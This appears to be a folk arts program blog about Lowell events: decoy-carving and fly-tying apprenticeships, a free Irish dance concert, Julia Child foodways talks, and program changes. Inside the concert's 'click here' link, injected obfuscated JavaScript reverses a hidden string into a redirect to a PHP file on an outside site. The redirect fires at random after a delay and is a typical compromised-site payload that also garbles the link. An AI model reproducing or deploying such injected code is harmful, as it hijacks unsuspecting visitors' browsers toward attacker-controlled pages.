Under One Tent: Duck Decoys and Fishing Flys

The Folk Craft area at this summer’s Lowell Folk Festival focuses on the role apprenticeships have played in helping to sustain traditional art in New England. Below are two master artists and their apprentices that will be sharing a tent in Lucy Larcom Park. We are thankful to our friend and collegeague, Lynn Graton of New Hampshire Folklife  for connecting us with these talented craftsmen.

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Making a beautiful decoy starts with being a keen observer of wildlife, in order to mimic the postures and grace of a variety of wildfowl and songbirds. Skills in carving must be matched by skills in painting. Layers of carefully applied paint help create the sheen and luster of feathers. Fred Dolan, of Strafford, New Hampshire,is a nationally recognized wood carver, specializing in waterfowl and songbirds. In addition to having studied under master carvers both in New England and in the Chesapeake region, Fred has studied ornithology and  worked with New Hampshire Fish and Game officials to band geese as a way of studying the birds at close range.

Fred works primarily with cedar, basswood or tupelo wood. He uses a variety of techniques such as combing to simulate wavy lines;  stippling to diffuse light and provide texture;  airbrush techniques to create iridescent highlights and shadows;  as well as hand painting of feather details. Gary Trotter is one of several apprentices Fred has mentored through a Traditional Arts Apprenticeship grant awarded by the New Hampshire State Council on the Arts.

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Fly fishing has been around for centuries, but the greatest advancements to the tradition were made in19th-century England. Flys are a combination of feathers, fur, and wire to imitate the look, color, wiggle, and silhouette of a bug or bait for fish. As Lynn Graton writes, “Classic Atlantic salmon flys are considered by many to be the king of the ornamental flys and are collected and displayed for their jewel-like beauty.” With up to 30 or 40 steps and taking several hours to complete, they represent the pinnacle of fly tying art. The distinction between working flys and classic Atlantic salmon flys, with their exotic feathers, is akin to that between working decoys and decorative decoys.

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As a child, Bob Wyatt watched his father tie Atlantic salmon flys on family fishing vacations in Nova Scotia. The fly is used to catch “the king of fish,” says Bob, who now preserves fly tying as part of New Hampshire’s outdoor heritage. In 2009, Bob  was awarded a grant from the New Hampshire State Council on the Arts to mentor Chris Clark, who runs an outdoor adventure guide business.

Free Traditional Irish Dance & Music Performance on June 4

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Traditional Irish dance and fiddle music will fill the Merrimack Repertory Theatre on June 4 in a program sponsored by Lowell National Historical Park.

Fiddle player Laurel Martin and step dancers Kieran Jordan and Kevin Doyle are all recipients of 2010 MCC Traditional Arts Apprenticeship grants. These publically-funded grants allowed these artists to provide a year of one-on-one teaching to talented apprentices Natayla Kay Trudeau, Emerald Rae, and Nicole Leblanc.

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This free concert presents a unique opportunity for collaboration, as teachers and students come together to present the results of their apprenticeships and insight into their teaching methods.

Come join us for an exciting evening of solo, duet, and group performances revealing the history and shared languages which these artists express, preserve, and pass on.

Place: Merrimack Repertory Theatre, 50 E. Merrimack Street, downtown Lowell

Time: 8:00 p.m.

No tickets required. For more details:  click $p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and-dance.htm” target=”_blank”>here

Event presented by Lowell National Historical Park and funded in part by the National Endowment for the Arts, the Massachusetts Cultural Council, and the Southern New England Traditional Arts Apprenticeship Program.

Foodways Lectures, Film at Lowell National Historical Park

It’s not every day that someone’s kitchen becomes a museum exhibit. But then again, Julia Child is not your every day cook.  When she relocated from Cambrdige to California, her kitchen – the cabinets, appliances, utensils, pots, and pans – found a new home at the Smithsonian Institution’s National Museum of American History. The exhibit remains popular with visitors since it opened in 2002.  

 

To explore the kitchen’s journey to the Smithsonian, join us on Friday April 30 for a talk by Dr. Rayna Green, folklorist and Smithsonian’s curator of Julia Child’s kitchen. She will also touch upon the French Chef’s impact on the home cook in the 1960s and 70s through her cookbooks and her legendary television show produced by Boston’s PBS station, WGBH. The program is free and will be offered in the auditorium of the Lowell National Historical Park Visitor Center, 246 Market Street,  at 7:30 pm.

In case you missed it, consider joining us on Tuesday, April 27 for Julie and Julia. The feature film (2009) is a comedy-drama written and directed by Nora Ephron. The film depicts events in the life of Julia Child in the early years in her culinary career, contrasting her life with Julie Powell who aspires to cook all 524 recipes from Child’s cookbook during a single year, a challenge she described on her popular blog that would make her a published author. Being screened in partnership with the Lowell Film Collaborative, the film will be shown at the Lowell National Historical Park Visitor Center,246 Market Street, at 6:30 pm. The film is free.

Native American Foodways in New England, May 1

On May 1, Dr. Rayna Green will give a presentation on Native American foodways of New England. She will provide a broad overview of Native foodways in New England (coastal cultures versus inland, seasonal food, agriculture, etc.) and talk about the impact of Native American foodways on what some would define as “traditional” New England cuisine. This free presentation will be offered at 1:30 pm in the Boott Event Center located on the second floor of the Boott Cotton Museum at Lowell National Historical Park, 115 John Street.

 

This trio of events inaugurates a new series of foodways programming at Lowell National Historical Park.

Changes Afoot …

  

As the Folk Arts and Heritage Program begins its 12th year at the Massachusetts Cultural Council, we are excited to tell you about some changes. Through a unique partnership with Lowell National Historical Park (LNHP), state folklorist Maggie Holtzberg has been temporarily assigned to the Park to support the development and expansion of traditional arts programming serving the public. We will continue our work in running a vital state folk arts program — doing field research, maintaining an archive, database, and website, and providing grants to individual artists. This new endeavor is an exciting opportunity to explore cross-cultural understanding within in the context of a National Park based on ethnic heritage, occupational folklore, immigration, and industrial history.  

  

The goal is to engage visitors and more of the region’s immigrant and ethnic populations by offering a robust variety of culturally-relevant public programs at the Park year-round. Though the MCC Folk Arts and Heritage Program has worked with the Lowell Folk Festival for over a decade (providing potential crafts artists and musicians, emceeing on stages, etc.) we will be more actively involved in the planning and presentation of folk arts than ever before. This summer, look for “Folk Craft and Foodways” in Lucy Larcom Park where we will showcase some of the extra-musical aspects of traditional folk culture.

The plan is to build on the energy of the festival — the high-quality, traditional arts performances that are the hallmark of the Lowell Folk Festival — and offer similar experiences throughout the year. Special exhibits and interactive presentations of craft, foodways, performing, and expressive traditions will be developed based on both previous and new folklife field research within the region’s many diverse communities. There is even the possibility of re-establishing a folklife center at the Park.

 Keep your eye on this blog for further postings from Lowell . . .